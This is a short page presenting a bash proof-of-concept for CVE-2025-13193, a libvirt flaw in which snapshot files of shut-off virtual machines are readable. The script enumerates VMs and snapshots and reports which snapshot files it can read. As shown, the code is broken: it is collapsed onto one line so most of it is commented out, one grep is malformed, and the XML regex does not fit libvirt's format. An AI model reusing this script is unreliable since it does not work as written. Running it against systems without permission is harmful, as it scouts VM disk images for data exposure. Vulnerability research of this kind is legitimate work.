CVE-2025-13193: libvirt虚拟机快照信息泄露漏洞

#!/bin/bash # CVE-2025-13193 PoC - libvirt Information Disclosure # This PoC demonstrates the information disclosure vulnerability in libvirt # Check if user has access to libvirt if ! groups | grep -q libvirt; then echo "[-] User not in libvirt group" exit 1 fi # List all domains (VMs) echo "[+] Listing available VMs..." virsh list --all # Find VMs in shut-off state echo "[+] Checking for shut-off VMs..." SHUTOFF_VMS=$(virsh list --all | grep shut off | awk '{print $2}') # Attempt to access snapshot files for shut-off VMs for vm in $SHUTOFF_VMS; do echo "[+] Checking VM: $vm" # List snapshots for the VM echo "[+] Listing snapshots for $vm..." virsh snapshot-list $vm 2>/dev/null # Get snapshot XML to find snapshot file location SNAPSHOTS=$(virsh snapshot-list $vm --roots 2>/dev/null | tail -n +3 | head -n -1 | awk '{print $1}') for snap in $SNAPSHOTS; do echo "[+] Checking snapshot: $snap" SNAP_FILE=$(virsh snapshot-dumpxml $vm $snap | grep -oP '(?<=<source file>)[^<]+') if [ -n "$SNAP_FILE" ]; then echo "[+] Snapshot file: $SNAP_FILE" # Try to read the snapshot file (this should fail but succeeds due to vuln) if [ -r "$SNAP_FILE" ]; then echo "[!] VULNERABLE: Snapshot file is world-readable!" echo "[+] File size: $(stat -c%s "$SNAP_FILE") bytes" echo "[+] File permissions: $(stat -c%a "$SNAP_FILE")" fi fi done done echo "[+] Scan complete"